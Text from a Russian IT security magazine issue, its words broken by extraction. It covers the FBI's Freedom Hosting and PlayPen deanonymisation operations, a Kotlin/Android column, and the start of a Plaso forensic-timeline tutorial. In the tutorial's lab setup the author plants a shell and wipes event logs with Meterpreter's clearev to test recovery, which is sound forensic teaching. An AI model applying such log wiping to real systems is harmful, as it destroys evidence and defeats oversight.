которая глас­ ит, что интернет бук­валь­но навод­нен извра‐­ щенц­ ами, прест­ упни­ками всех мас­тей, дет­ской пор­ногра­фией и дру­гими жут‐­ кими вещами. Тог­да раз­работч­ ики Tor Project были вынужд­ ены соо­ бщить, что «лица, которые управля­ют Freedom Hosting, никои­ м образ­ ом не  свя­заны с  The Tor Project, Inc.». Такж­ е они напомин­ али, что Tor исполь­зует­ся и  во благ­ о: для  защиты дисс­ иден­тов, акти­вис­тов, ано­ним­ности польз­ овател­ ей и  борь­бы с цен­зурой. «Кто угод­но может запуск­ ать скрыт­ ые серв­ исы, и  мно­гие это  дела-­ « »ют», — писали инже­неры Tor Project. МАЛВАРЬ ФБР Рас­сле­дова­ние в  отно­шении Freedom Hosting запомн­ илось не  толь­ко огромным количест­ вом чудовищ­ных матери­алов, которые тог­да обна­ружил­ и пра­воохр­ аните­ли. Дело в том, что это был один из перв­ ых извес­тных случ­ аев, ког­да ФБР при­менил­ о в рам­ках рас­след­ ова­ния мал­варь. Сог­ласно судебн­ ым документ­ ам, которые были опубл­ икован­ ы годы спус­тя, пос­ле зах­вата серв­ еров Freedom Hosting в конц­ е июля 2013 года ФБР оста‐­ вило инфраструкт­ уру в рабочем сост­ оянии еще на неделю и тай­но разв­ ерну‐­ ло на всех сай­тах хос­тера файл JavaScript. Этот скрипт экс­плуа­ ти­ровал ошибк­ у в Firefox (на базе которог­ о, как извес‐­ тно, стро­ится Tor Browser) для  обход­ а функ­ ций анон­ ими­зации Tor. Мал­варь ФБР про­никал­ а на машину посетит­ еля сайт­ ов с дет­ской пор­ногра­фией, сох‐­ раняла MAC-адрес, имя хос­та, реальн­ ый IP-адрес и некий уник­ альн­ ый номер, который свя­зывал цель с посещен­ ием сайт­ а на Freedom Hosting. Спец­ иалис‐­ ты из  Mozilla писали, что эксп­ лои­ т дей­ство­вал во  всех вер­сиях Firefox от  21  и  младш­ е. Уяз­вимость MFSA 2013-53 была зак­рыта в  вер­сиях Firefox 22 и Firefox 17.0.7. Собр­ анная таким спо­собом информац­ ия переда­валась на  сер­веры ФБР и позж­ е была использ­ ована для про­веде­ния друг­ их расс­ лед­ ова­ний и поимк­ и друг­ их подозр­ ева­емых в педофил­ ии. Сег­ од­ня исполь­зование эксп­ лои­ та прот­ ив посети­телей Freedom Hosting уже успел­ о забыть­ся и  отой­ти на  вто­рой план. Дело в  том, что пер­вое мас‐­ совое прим­ ене­ние малв­ ари для  деано­ними­зации поль­зовател­ ей померк­ ло на  фоне опе­рации, которую ФБР нес­коль­ко лет спуст­ я раз­верну­ло прот­ ив польз­ овате­лей друг­ ого круп­ного дарк­ нет‑ресурс­ а для педофил­ ов, PlayPen. Об­лава на польз­ овате­лей PlayPen началась весн­ ой 2015 года. Тогд­ а ФБР сумело деано­нимиз­ иров­ ать часть посетит­ елей ресурс­ а, в  резуль­тате чего про­тив поч­ти  200  человек были выдв­ инуты обви­нения. В  ходе опе­рации PlayPen ФБР не прост­ о закр­ ыло ресурс, но перех­ватило управле­ние над сер‐­ верами и  прод­ олж­ ало подд­ ержив­ ать работу сайт­ а на  про­тяже­нии прим­ ер­но двух недель, точн­ о так же, как  это было с  Freedom Hosting неск­ оль­кими годами ранее. Кро­ме того, прав­ оохр­ аните­ли разм­ ести­ли на  PlayPen некую малв­ арь, которая помог­ла им узнать реаль­ные IP-адре­са посетит­ елей. Как имен­но все это было прод­ ела­но, до сих пор неизв­ ес­тно. Дело в том, что ФБР расс­ ка­зыва­ло о свои­ х методах очень рас­плывч­ ато, а некотор­ ые дан‐­ ные и код в итог­ е и вов­се ока­зались за­сек­речены. Весь комп­ лекс пров­ еден‐­ ных тогд­ а меропр­ иятий фигурир­ ует в  офи­циальн­ ых бумагах как  «методи­ка про­веде­ния следст­ вен­ных дейс­ твий в  компь­ютерн­ ых сетях» (Network Investigative Technique, NIT). И  хотя предс­ та­вител­ и Бюро показыв­ али адво‐­ катам обвин­ яемых отрывки кода, по  сло­вам защитн­ иков, из  них совер­шенно неясн­ о, каким образ­ ом NIT помечал и отсле­живал кажд­ ого поль­зовате­ля и не могл­ о ли при этом возн­ икнуть каких‑либо оши­бок. Так выг­лядело про­шение ФБР к судье с прось­бой пересм­ отреть решение о раск­ рыт­ ии исходни­ков малв­ ари Из‑за скрыт­ности ФБР у  ИБ‑экспер­тов возн­ икли вполн­ е понят­ные подоз‐­ рения, что спецс­ лужб­ ы уже давн­ о рас­полага­ют информа­цией о  некой уяз‐­ вимос­ти нулевог­ о дня в Firefox, успешно поль­зуютс­ я этим багом, но отказ­ ыва‐­ ются раск­ рыв­ ать све­дения о проб­леме раз­работч­ икам брау­ зе­ра. Эти­ми заяв‐ ления­ ми в  ито­ге заин­тересов­ ались предс­ тав­ ите­ли Mozilla, и  орган­ изац­ ия обра­тилась в суд, пот­ребовав от ФБР рас­крыт­ ия данн­ ых о 0-day-уяз­вимос­ти в  Firefox, если прав­ оохр­ аните­ли дей­стви­тельн­ о облад­ ают такой информа‐­ цией. О том прот­ ивост­ оянии ФБР и Mozilla в суде мы рас­сказ­ ывал­ и во всех под‐­ робнос­тях, но, к сожален­ ию, добить­ся от прав­ оохр­ анител­ ей конк­ ретн­ ых отве‐­ тов тог­да так и не удал­ ось. В какой‑то момент дело даже дошл­ о до того, что власт­ и прекр­ атили судеб­ное прес­ледован­ ие одно­го из педофи­лов с PlayPen, лишь  бы не  раск­ ры­вать исходные коды той мал­вари, что исполь­зовалась для выс­леживан­ ия посетит­ елей сайт­ а. ПОДРАЖАТЕЛИ Пе­чаль­ный факт: хотя в  итог­ е Freedom Hosting «пошел ко  дну» и  его крах широко освещ­ али все мировые СМИ, у  сер­виса вскор­ е появи­лись под‐­ ражате­ли. Наибо­лее извес­тным из  них можн­ о назв­ ать Freedom Hosting II, который пред­лагал ана­логичн­ ые услу­ги хост­ инга и исполь­зовал тот же бренд. Нужн­ о отмет­ ить, что серв­ ис не имел никого отнош­ ения к Марк­ есу: пос­ледний к этом­ у момент­ у уже давн­ о находилс­ я под стра­жей. В 2017 году Freedom Hosting II тоже был взлом­ ан хак­тивис­тами Anonymous. Снов­ а в качес­тве мест­ и за детс­ кое пор­но, рав­но как и его предш­ ест­ вен­ник. Хак­ еры под­робно опис­ али, как взлом­ али Freedom Hosting II Тогд­ а в  результ­ ате ата­ки были скомп­ ром­ етир­ ован­ ы  10  613 .onion-сай­тов. В  дам­пах взлом­ анн­ ых сайт­ ов, которые опубл­ иковал­ и хакт­ ивис­ты, впол­не пред­сказ­ уемо были обнар­ ужен­ ы фрод­ ерс­ кие сайт­ ы, ресурс­ ы, тор­гующие раз­личным­ и ворован­ными дан­ными, управляю­ щие серв­ еры ботн­ етов, стран‐­ ные фетиш‑пор­талы и  так далее. Сай­ты с  дет­ским пор­но занима­ли на  сер‐­ верах хос­тинга поряд­ка 30 Гб (почт­ и 50% всех ресурс­ ов). Тогд­ а взломщ­ ики утверж­ дал­ и, что не стал­ и сли­вать дан­ные поль­зовате­лей Freedom Hosting II, но сооб­щили, что готовы пре­дост­ авить пол­ную информа‐­ цию ИБ‑иссле­доват­ елям, которые переда­дут ее в  руки пра­воох­ранитель­ных орган­ ов. При  этом иссле­дова­тели все же обна­ружи­ли сред­ и сли­тых фай­лов множ­ ес­тво юзерн­ ейм­ ов, почт­ овых адре­сов и парольн­ ых хешей. Пос­ле этог­ о извест­ ная исслед­ оват­ ель­ница Сара Джей­ми Льюис (Sarah Jamie Lewis) писала, что атак­ а на  Freedom Hosting II зат­ронула поряд­ка  15– 20% сай­тов дарк­ не­та и  будет иметь серье­ зные пос­ледс­твия. Как  оказ­ алось, Льюис даже преу­ меньш­ ила нанесенн­ ый «изнанке интернет­ а» урон. Вско­ре прое­ кт OnionScan, который занима­ется регулярн­ ым ска­ниро­вание­ м и  изу‐­ чение­ м Onion-прост­ ранст­ ва, опуб­ликовал отчет, сог­ласно которо­му из 30 000 Tor-сер­висов, извест­ ных прое­ кту ранее, активны были лишь око­ло  4400. То есть общее количест­ во сай­тов в  дар­кне­те в  итог­ е сок­ратилось прим­ ерн­ о на 85%. Увы, сле­дом за  Freedom Hosting II появи­лись и  друг­ ие, в  том чис­ле Freedom Hosting III и  Freedom Hosting Reloaded, при­чем пос­ледний работае­ т до сих пор.

HEADER Евгений Зобнин Редактор Unixoid и Mobile [email protected] ANDROID ЦЕНЗУРА XIAOMI И СБРОС РАЗРЕШЕНИЙ ДЛЯ ВСЕХ Сег­ од­ня в выпуск­ е: странн­ ая истор­ ия с цен­зурой в смар­тфо‐­ нах Xiaomi, сброс разр­ ешений во всех верс­ иях Android, быс‐­ трые советы, как  писать хороший чис­тый ход, прос­тые пра‐­ вила освоб­ ож­дения объ­ектов и  подр­ обное объ­яснен­ ие одной из  фунд­ амен­таль­ных конц­ епций корутин Kotlin: CoroutineContext. ПОЧИТАТЬ Xiaomi и цензура Xiaomi’s secret blacklist of  phrases sounds scary, but it may not be  what it seems — статья с расс­ лед­ ован­ ием ситуа­ ции с цен­зурой в телефо­нах Xiaomi. Нап­ ом­ним, что в  сент­ ябре минобор­ оны Лит­вы опуб­ликовал­ о исс­ ле­дова‐­ ние, сог­ласно котором­ у смар­тфон­ ы китай­ских ком­паний Xiaomi и  Huawei не  прост­ о собираю­ т информац­ ию о  польз­ овател­ е, но  и выпол­няют цен­зуру: исслед­ ован­ ие показал­ о, что смар­тфо­ны Xiaomi, про­давае­ мые на тер­ритории ЕС, вклю­чают в  себя деакт­ ивиров­ ан­ную, но  тем не  менее рабочую сист­ ему бло­киров­ки опре­деленн­ ых слов и сло­восо­чета­ний. Но есть в  этом исслед­ ован­ ии стран­ные детали. Его авто­ры говорят, что зап­ретные сло­ва содерж­ атся в файл­ е с име­нем MiAdBlacklistConfig, а так‐­ же показыв­ ают код, который якоб­ ы выпол­няет филь­трац­ ию, и  он содер­жит имен­ а объ­ектов врод­ е iNativeAd. Более того, если извлечь этот файл с устройс­ тва, то ока­жет­ся, что он содерж­ ит не так уж мног­ о политич­ еск­ и окра‐­ шен­ных слов­ осоч­ ета­ний, но  при этом содерж­ ит, напр­ имер, слов­ а adult, xxx, porn и поч­ти все извес­тные мар­ки телефон­ ов, включ­ ая Xiaomi. Можн­ о, конечн­ о, подумать, что китайц­ ы очень умел­ о маск­ ирую­ т свои дей‐­ ствия, но гораз­до больш­ е это похоже на спи­сок слов для бло­киров­ки неугод‐­ ной рек­ламы. Об этом говорят как сам спи­сок слов и фраз, так и имя файл­ а и объе­ ктов, содер­жащих слов­ о Ad. А нуж­но это прост­ о для того, что­бы встро‐­ енные в смарт­ фо­ны Xiaomi прил­ ожен­ ия не показыв­ али adult и про­чую нереле‐­ вант­ ную рекл­ аму (для тех, кто не исполь­зует китайс­ кие телефо­ны — да, Xiaomi впол­не офи­циальн­ о показы­вает рек­ламу на свои­ х телефо­нах). Так что вся эта истор­ ия про ценз­ уру — ско­рее всег­ о, тыкв­ а, но да, дру­гая часть расс­ ле­дован­ ия, посв­ ященн­ ая сбор­ у информа­ции о  телефон­ ах и  поль‐­ зовател­ ях, впол­не правд­ ива. Фрагм­ ент кода, яко­бы выпол­няющег­ о ценз­ уру РАЗРАБОТЧИКУ Автоматический сброс разрешений Making permissions auto-reset available to  billions more devices  — статья раз‐­ работч­ иков Android о сист­ еме сбро­са раз­решений. На­помн­ им, что сброс раз­решений — это одна из фун­кций Android 11. Если при­ложен­ ие дол­го не исполь­зует­ся, сис­тема отзы­вает все выданн­ ые ему раз‐­ решения. Теперь, за  счет встраи­ ва­ния функ­ ции в  Google Play Services, эта сист­ ема будет рас­простран­ ена на все устрой­ства, начиная с Android 11. Сист­ ема нач­нет работать в декаб­ре‑январ­ е 2021 года. Все разр­ аботч­ ики, которые не  хотят, чтоб­ ы работа сист­ емы рас­простра­нялась на  их прил­ оже‐­ ния, могут использ­ овать спец­ иаль­ный API, что­бы попр­ осить польз­ овате­лей отключ­ ить сброс раз­решений: // Проверяем, поддерживает ли устройство сброс разрешений // Результат будет возвращен в колбеке onResult val future = PackageManagerCompat.getUnusedAppRestrictionsStatus( context) future.addListener( { onResult(future.get()) }, ContextCompat.getMainExecutor(context) ) fun onResult(appRestrictionsStatus: Int) { when (appRestrictionsStatus) { ERROR -> { } FEATURE_NOT_AVAILABLE -> { } DISABLED -> { } API_30_BACKPORT, API_30, API_31 -> handleRestrictions(appRestrictionsStatus) } } // Этот код будет выполнен только в Android 11 // и устройствах, поддерживающий автосброс разрешений fun handleRestrictions(appRestrictionsStatus: Int) { Intent intent = IntentCompat. createManageUnusedAppRestrictionsIntent(context, packageName) startActivityForResult(intent, REQUEST_CODE) } Правила освобождения объектов Effective Kotlin Item 50: Eliminate obsolete object references  — статья о  необ‐­ ходимост­ и осво­божд­ ения объе­ ктов в опре­делен­ных ситуа­ циях. Од­на из  важ­нейш­ их осо­бен­ностей Java и  Kotlin  — авто­матич­ ес­кое управлен­ ие памятью, когд­ а сбор­щик мусора сам уда­ляет неисп­ ольз­ уемые объ­екты из  опе­ратив­ной памяти. Сбор­щик мусора сущес­твен­но упро­щает жизнь раз­работч­ икам, но он не всег­да работае­ т. Кан­ онич­ ес­кий при­мер, ког­да сбор­щик мусора не  справ­ляет­ся,  — это активност­ и Android. Расс­ мот­рим след­ ующий при­мер: class MainActivity : Activity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) //... logError = { Log.e( this::class.simpleName, it.message ) } } //... companion object { var logError: ((Throwable) -> Unit)? = null } } Раз­работч­ ик решил упростить себе жизнь и  вынес фун­кцию logError в companion object, чтоб­ ы всегд­ а иметь к ней дост­ уп. Пробл­ ема здесь толь‐­ ко в том, что logError внутр­ и себя ссы­лает­ся на на MainActivity. В  итог­ е, если MainActivity будет завер­шена, она прод­ олж­ ит занимать память  — сборщ­ ик мусора не смо­жет ее освоб­ одить по прич­ ине сущест­ вов­ ания ссыл­ки на активность в объ­екте‑комп­ аньо­ не. Реш­ ить эту проб­лему можн­ о, заменив жес­ткую ссылк­ у на  WeakReference (хотя по‑хорошем­ у проб­лема решае­ тся с  помощью сист­ емы внедр­ ения зависим­ ос­тей). Еще один при­мер — реализ­ ация стек­ а: class Stack { private var elements: Array<Any?> = arrayOfNulls(DEFAULT_INITIAL_CAPACITY) private var size = 0 fun push(e: Any) { ensureCapacity() elements[size++] = e } fun pop(): Any? { if (size == 0) { throw EmptyStackException() } return elements[--size] } private fun ensureCapacity() { if (elements.size == size) { elements = elements.copyOf(2 * size + 1) } } companion object { private const val DEFAULT_INITIAL_CAPACITY = 16 } } Она абсо­лют­но корр­ ек­тна, за  исключ­ ение­ м одног­ о момент­ а: функ­ ция pop() не  удал­ яет эле­мент из  мас­сива. Это  знач­ ит, что если соз­дать стек из  1000  эле­мен­тов, а  затем уда­лить  999  из  них, стек все рав­но будет занимать память, необ­ходимую для хран­ ения 1000 элем­ ен­тов. Исправл­ яет­ся код вот так: fun pop(): Any? { if (size == 0) throw EmptyStackException() val elem = elements[--size] elements[size] = null return elem } Как обна­ружить такие пробл­ емы? Сто­ит научить­ся поль­зоватьс­ я ана­лиза‐­ тором хипа (такой есть в  станд­ арт­ ной пост­ авке Android Studio). Так­же поможет инс­трум­ ент LeakCanary. Он авто­матич­ ес­ки опо­вес­тит обо всех утеч‐­ ках активност­ ей. Что такое CoroutineContext What is  CoroutineContext and  how does it work?  — статья, объя­ сняю­ щая, что такое CoroutineContext в Kotlin и что с этим делать. Есл­ и взглян­ уть на  опре­деле­ние любого билд­ ера корутин (launch, async, runBlocking и  т.  д.) в  коде, то можн­ о уви­деть, что их перв­ ый аргум­ ент  — это CoroutineContext: public fun CoroutineScope.launch( context: CoroutineContext = EmptyCoroutineContext, start: CoroutineStart = CoroutineStart.DEFAULT, block: suspend CoroutineScope.() -> Unit ): Job { ... } Такж­ е мы видим, что launch  — это  функ­ ция‑расш­ ирение CoroutineScope. И  ее посл­ едний аргум­ ент (собст­ вен­но, сам блок кода) тоже выполн­ яет­ся в области видимост­ и CoroutineScope. А теперь взгля­нем на опре­деле­ние самого CoroutineScope: public interface CoroutineScope { public val coroutineContext: CoroutineContext } По сути, это прос­то врапп­ ер для CoroutineContext. Да­же Continuation, олиц­ етв­ оряю­ щий собой корутин­ ы, тоже содерж­ ит в себе CoroutineContext: public interface Continuation<in T> { public val context: CoroutineContext public fun resumeWith(result: Result<T>) } Друг­ ими сло­вами, CoroutineContext  — это  самый важн­ ый элем­ ент корути‐­ ны. Но что это такое? На самом деле CoroutineContext  — это  интерфейс для  кол­лекции эле‐ мен­тов Element, где Element  — это  Job, CoroutineName, CouroutineDispatcher, SupervisorJob, CoroutineExceptionHandler или сам CoroutineContext. Элем­ ент­ ы этой колл­ екции имею­ т уни­кальн­ ый ключ. А для извлеч­ ения эле‐­ мент­ ов мож­но использ­ овать get или квадр­ атные скобк­ и: val ctx: CoroutineContext = CoroutineName(\"A name\") val coroutineName: CoroutineName? = ctx[CoroutineName] Как вид­но, в качес­тве ключ­ а мож­но исполь­зовать прост­ о имя клас­са. В Kotlin имя клас­са  — это  ссылк­ а на  объ­ект‑ком­паньо­ н этог­ о клас­са, а  в случ­ ае с CoroutineContext объ­ект‑ком­паньо­ н как раз и содер­жит ключ: data class CoroutineName( val name: String ) : AbstractCoroutineContextElement(CoroutineName) { override fun toString(): String = \"CoroutineName($name)\" companion object Key : CoroutineContext.Key<CoroutineName> } Такж­ е CoroutineContext мож­но склад­ ывать, при  этом эле­мен­ты с  совп­ ада‐­ ющим­ и ключ­ ами будут заменен­ ы на новые: fun main() { val ctx1: CoroutineContext = CoroutineName(\"Name1\") println(ctx1[CoroutineName]?.name) // Name1 println(ctx1[Job]?.isActive) // null val ctx2: CoroutineContext = Job() println(ctx2[CoroutineName]?.name) // null println(ctx2[Job]?.isActive) // true val ctx3 = ctx1 + ctx2 println(ctx3[CoroutineName]?.name) // Name1 println(ctx3[Job]?.isActive) // true } В целом CoroutineContext  — это  спо­соб передач­ и данн­ ых межд­ у корути‐­ нами. Такая переда­ча, напр­ имер, осу­ществ­ ляе­ тся при  запус­ке дочер­ней корутин­ ы: fun CoroutineScope.log(msg: String) { val name = coroutineContext[CoroutineName]?.name println(\"[$name] $msg\") } fun main() = runBlocking(CoroutineName(\"main\")) { log(\"Started\") // [main] Started val v1 = async { delay(500) log(\"Running async\") // [main] Running async 42 } launch { delay(1000) log(\"Running launch\") // [main] Running launch } log(\"The answer is ${v1.await()}\") // [main] The answer is 42 } Это код показыв­ ает, как заданн­ ое нами имя корути­ны (main) в итог­ е переда‐­ ется всем ее потом­кам. Но если мы захотим, мы можем измен­ ить это имя: fun main() = runBlocking(CoroutineName(\"main\")) { log(\"Started\") // [main] Started val v1 = async(CoroutineName(\"c1\")) { delay(500) log(\"Running async\") // [c1] Running async 42 } launch(CoroutineName(\"c2\")) { delay(1000) log(\"Running launch\") // [c2] Running launch } log(\"The answer is ${v1.await()}\") // [main] The answer is 42 } По сути, прав­ ило здесь прос­тое: конт­ екст корути­ны = кон­текст родител­ я + конт­ екст потомк­ а. Зач­ ем все это  нужн­ о знать? Нап­ример, для  того, чтоб­ ы понимать, что дела­ет всем извест­ ная фун­кция withContext. Обычн­ о ее исполь­зуют для запус­ка кода в дру­гом потоке, нап­ример: withContext(Dispatchers.Default) { // здесь тяжелый код } Эта функ­ ция прост­ о при­бав­ляет к  сущест­ ву­ющем­ у CoroutineContext дис‐­ патчер Default, таким обра­зом заменяя прошл­ ый дисп­ атчер. Далее она запус‐­ кает новую корутин­ у уже в этом кон­тек­сте, и корутин­ а начина­ет работу в дру‐­ гом потоке. Теп­ ерь ты дол­жен понимать, что вмест­ о дисп­ атчер­ а в аргум­ ент­ е этой фун‐­ кции можн­ о передать любой дру­гой Element, нап­ример тот же CoroutineName. То есть с  ее помощью мож­но не  толь­ко перенапр­ авлять корутин­ ы в новые потоки, но и менять любые их характ­ ерис­тики. Быстрые советы, как писать лучший код Kotlin best practises  — сборн­ ик быс­трых советов, как  писать понятн­ ый и  надеж­ный код на  Kotlin. Мож­но использ­ овать как  памятк­ у для  работы в команд­ е. • Всегд­ а использ­ уй перемен­ные, которые не  могут при­нимать знач­ ение null. • Ис­польз­ уй var тольк­ о в крайн­ ем случ­ ае. • Ис­польз­ уй немодиф­ ицир­ уемые колл­ екции где тольк­ о возм­ ожно. • Исп­ ольз­ уй lateinit вмес­то nullable-перемен­ных. • Есл­ и при­ходить­ся иметь дело с  nullable-перемен­ными, использ­ уй опе‐­ ратор Элвис для работы с ними (?:). • Есл­ и блок кода содерж­ ит больш­ е одног­ о if  — использ­ уй вмес­то него when. • Соб­ ирай в одном файл­ е толь­ко тесн­ о связ­ ан­ные друг с дру­гом клас­сы. • По­пытайс­ я исполь­зовать толь­ко один конс­трук­тор. • Вмест­ о втор­ ичн­ ых конст­ рукт­ оров использ­ уй аргу­мен­ты с  дефолт­ ным зна‐­ чени­ем. • Ис­польз­ уй аргу­мен­ты с дефолт­ ным зна­чени­ем вмес­то бил­деров. • Всег­да исполь­зуй име­нованн­ ые аргу­мен­ты при переда­че не всех аргум­ ен‐­ тов. • Исп­ ольз­ уй блок require для пров­ ер­ки знач­ ений аргум­ ен­тов. • Исп­ оль­зуй блок check для валидац­ ии сос­тояния. • Не использ­ уй гетт­ еры и  сет­теры, в  Kotlin есть встро­енные средс­тва для конт­ ро­ля дост­ упа. • Всегд­ а исполь­зуй data-класс­ ы при  необх­ одимос­ти соз­дать класс без методов. • Стар­ ай­ся использ­ овать scoped-фун­кции, где это  допуст­ имо: let, run, with, apply, also. • Ис­поль­зуй объ­екты‑комп­ ань­оны (companion object) для  раз­мещения стат­ ичес­ких функ­ ций и фабр­ ик. • Изб­ егай использ­ ования null в качест­ ве возв­ ращ­ аемо­го зна­чения. • Ес­ли необх­ одимо сообщ­ ить об ошибк­ е — использ­ уй исклю­чения. • Ес­ли необх­ одимо вер­нуть пус­тое знач­ ение  — воз­вра­щай пуст­ ой объ­ект, нап­ример пус­тую строк­ у или пус­той спи­сок. • Возв­ ра­щай толь­ко немоди­фицир­ уемые колл­ екции. • Расс­ мот­ри воз­можность использ­ овать sealed-класс в  качес­тве воз­вра‐­ щаемог­ о типа. • Вмест­ о Pair и Triple для воз­вра­та неск­ оль­ких знач­ ений лучш­ е исполь‐­ зовать data-класс. • При обраб­ отк­ е очень боль­ших кол­лекций в  функ­ ци­ональн­ ом стил­ е пре‐­ обра­зуй их в sequence. • Из­бегай исполь­зования it в качест­ ве парамет­ра лямб­ ды. • Вмест­ о utility-клас­сов (StringUtils.java) использ­ уй функ­ ции, объ‐­ явленные вне класс­ ов. • Исп­ ольз­ уй блок use для  авто­мати­ческ­ ого закр­ ытия closable-объ­ектов (таких как InputStream). • Ис­поль­зуй фун­кции‑рас­ширения, чтоб­ ы добавить функ­ цио­ наль­ность в «чужие» или сист­ емные класс­ ы. • При работе с  Java-кодом всегд­ а предп­ олагай, что возв­ ращ­ ает nullable- тип, и сраз­ у про­веряй его на null. БИБЛИОТЕКИ • Essenty  — набор фун­кций‑рас­ширений для  кросс­платф­ ормен­ной раз‐­ работк­ и на Kotlin; • Compose-animations — биб­лиотек­ а ани­мации для Jetpack Compose; • Quantitizer — элем­ ент интерфей­са для выбора количест­ ва чего‑либо; • SegmentedArcView — очер­ едн­ ой кру­говой прог­ресс­ бар; • Doodle — UI-фрей­мворк для веб; • Reflekt — библ­ иоте­ка реф­лексии вре­мени ком­пиляции; • Logcat — прос­тая библ­ иоте­ка логиров­ ания; • Workflow-kotlin — биб­лиоте­ка unidirectional dataflow; • Store — биб­лиотек­ а для заг­рузки данн­ ых из сети и кеширо­вания в памяти и на диск­ е.

COVERSTORY ТАЙМЛАЙН ВСЕГО ИСПОЛЬЗУЕМ PLASO ДЛЯ СБОРА СИСТЕМНЫХ СОБЫТИЙ sUzU [email protected] Дав­неньк­ о у  нас не  было новос­тей с  фронт­ ов форен­зики! А  ведь инст­ ру­мен­ты ана­лиза уста­реваю­ т, тогд­ а как  хакеры прид­ умыв­ ают всё новые и  новые методы заметать сле­ды, оставляя добл­ ест­ ных бой­цов с  шев­ронами DFIR на  рукавах задумч­ иво чесать репу. Давай пока отлож­ им устар­ ев­ший, но  от того не  менее острый Scalpel и  огля­немс­ я по  сто‐­ ронам. СОЗДАНИЕ СОБЫТИЙ Нач­нем с  подг­ отовк­ и набора данн­ ых, который мы будем использ­ овать в исслед­ ова­ниях. INFO Все опи­сан­ные экспер­ имен­ты я про­вожу на  VMware Workstation 14 Pro. Соотв­ етс­твен­но, зависим­ ые от гиперв­ изора коман­ды в статье при‐­ веден­ ы для нее. Для под­готов­ки тес­товых событий нам понадо­битс­ я две вирт­ уаль­ные машины: на одной будет работать Windows 10, на втор­ ой — Kali Linux 2021.2. Если будешь собирать тест­ овую сре­ду самос­тоятель­но, рекомен­дую не делать боль­шой диск для винд­ ы, хват­ ит и 40 Гбайт — потом все про­цес­сы будут про­текать быст­ рее. Плюс для  больш­ ей наг­ляднос­ти при  ана­лизе рекомен­дую устан­ овить на  подопыт­ную машину Sysmon. Про  эту утил­ иту в руб­рике «Админ» была статья «Sysmon для безопас­ника». Ког­да мы пойд­ ем по след­ ам злоу­ мыш­ленник­ а, ты пойм­ ешь, в чем цен­ность этой ути­литы. Опис­ ывать зараже­ние и пос­тэксп­ луа­ тац­ ию сист­ емы не буду, чтоб­ ы в даль‐­ нейшем нам было интер­ есн­ ее добывать из образ­ а улик­ и. Все рав­но, если ты вним­ ательн­ о чита­ешь статьи из  рубр­ ики «Взлом», ничего нового я тебе не расс­ ка­жу. Посл­ е того как мы от души пошалил­ и в подопыт­ной сист­ еме, приш­ла пора сни­мать мас­ку кибер­прест­ упни­ка и дос­тавать чемоданч­ ик кри­минал­ ис­та. INFO Де­лать именн­ о так, как  опис­ ано ниже, необя‐­ зательн­ о. В  статье я прив­ ожу общий под­ход для  всех подобн­ ых ситуа­ ций, в  том чис­ле на  реальн­ ом железе. Инс­трум­ ент Plaso, которым мы будем польз­ овать­ся, успешно скуш­ ает и  образ от  вир­туалк­ и, если он у  тебя хра­нит­ся одним файл­ ом .vmdk. Пос­ле сбор­ а улик с вирт­ уал­ки я еще раз закину на атак­ уемую сис­тему шелл, зачищу логи с помощью коман­ды clearev из Meterpreter и сде­лаю пов­торный сбор улик. В кон­це статьи пос­мотрим, наск­ оль­ко эффектив­но Meterpreter уме‐­ ет заметать сле­ды и мож­но ли на него в этом полагатьс­ я. Выкл­ ючим обе вирт­ уалк­ и, подк­ инем в  Kali вто­рым жест­ ким дис­ком вир‐­ туальн­ ый диск от Windows и нас­трои­ м для Kali Shared Folder на жест­ ком дис­ке тво­его хост­ ового комп­ а, где будет дос­таточн­ о своб­ одн­ ого мес­та, чтоб­ ы сде‐­ лать побайт­ овую копию дис­ка вин­ды. Если ты выделил на  нее  40  Гбайт, то на диск­ е дол­жно быть минимум стольк­ о же сво­бод­ного мест­ а. Загр­ узим­ся в  Kali, созд­ адим точ­ку монт­ ирова­ния и  под­монти­руем Shared Folder: $ sudo mkdir /mnt/hgfs $ sudo /usr/bin/vmhgfs-fuse .host:/ /mnt/hgfs -o subtype=vmhgfs-fuse, allow_other На­ходим интер­ есую­ щий нас жест­ кий диск: $ sudo fdisk -l В нашем случ­ ае это sda. Запус­каем созд­ ание побай­товой копии: $ sudo dd if=/dev/sda of=/mnt/hgfs/dd/disk1.dd bs=8M До­жидае­ мся окон­чания копиров­ ания и  выкл­ юча­ем вирт­ уалк­ у. Теперь, сог‐­ ласно всем прот­ око­лам, остал­ ось посч­ итать кон­троль­ную сумм­ у от  получен‐­ ного обра­за, и мож­но вно­сить флюг­ ер­гехайм­ ер. →Продолжение статьи

COVERSTORY ← НАЧАЛО СТАТЬИ ТАЙМЛАЙН ВСЕГО ИСПОЛЬЗУЕМ PLASO ДЛЯ СБОРА СИСТЕМНЫХ СОБЫТИЙ PLASO Plaso (рекур­сивный акрон­ им от  исландс­ ког­ о Plaso Langar Að Safna Öllu, или для тех, кто не очень понимае­ т исланд­ский, «Plaso хочет соб­рать все») — инст­ ру­мент, разр­ аботанн­ ый на Python, основная задача которо­го — пост­ ро‐­ ить суперт­ ай­млайн‑всег­ о‑воз­можног­ о‑что‑прои­ сход­ ило‑в-сис­теме и  вып‐­ люнуть все это в один гигабай­тный CSV. Ре­лиз  1.0.0  сос­тоял­ся  5  декаб­ря  2012  года, хотя если смотр­ еть глуб­же, на  утил­ иту log2timeline, написанн­ ую на  Perl, то перв­ ое упо­мина­ние на  Forensics Wiki датируе­ тся аж  28  августа  2009-го. В  те вре­мена некото­рые нынеш­ние компь­ютерн­ ые хулига­ны еще толь­ко начали посещать час­тные дет‐­ ские дошк­ ольн­ ые учрежден­ ия, в которых им, к сожален­ ию, ничего про уго­лов‐­ ный кодекс не расс­ каз­ ыва­ли. Установка Для устан­ овк­ и Plaso (на момент написа­ния статьи акту­альн­ ый релиз 20210606) осо­бых скил­лов не тре­буетс­ я, на Linux так и вооб­ще все, что тебе нуж­но, — терм­ инал и дос­туп в интернет. На случ­ ай, если тебе захочет­ся покопатьс­ я в  исходни­ках, кло­нируй ре­пози­торий, если не  захочетс­ я  — использ­ уй pip. $ sudo apt-install python3-pip $ pip install plaso elasticsearch Дал­ ее уста­навл­ ивае­ м все треб­ уемые зависи­мос­ти: $ pip install -r requirements.txt В фай­ле requirements.txt отсутст­ ву­ют опци­ональ­ные зависим­ ос­ти chardet, fakeredis и mock, поэто­му еще одна коман­да, и все успешно заведетс­ я: $ pip install chardet fakeredis mock На винд­ е дела обсто­ят пос­ложнее тольк­ о лишь из‑за того, что тебе при­дет­ся доус­тановить в  сист­ ему Build Tools for Visual Studio. Но  проб­лема реша­ется элем­ ент­ арно, если у тебя есть в загашн­ 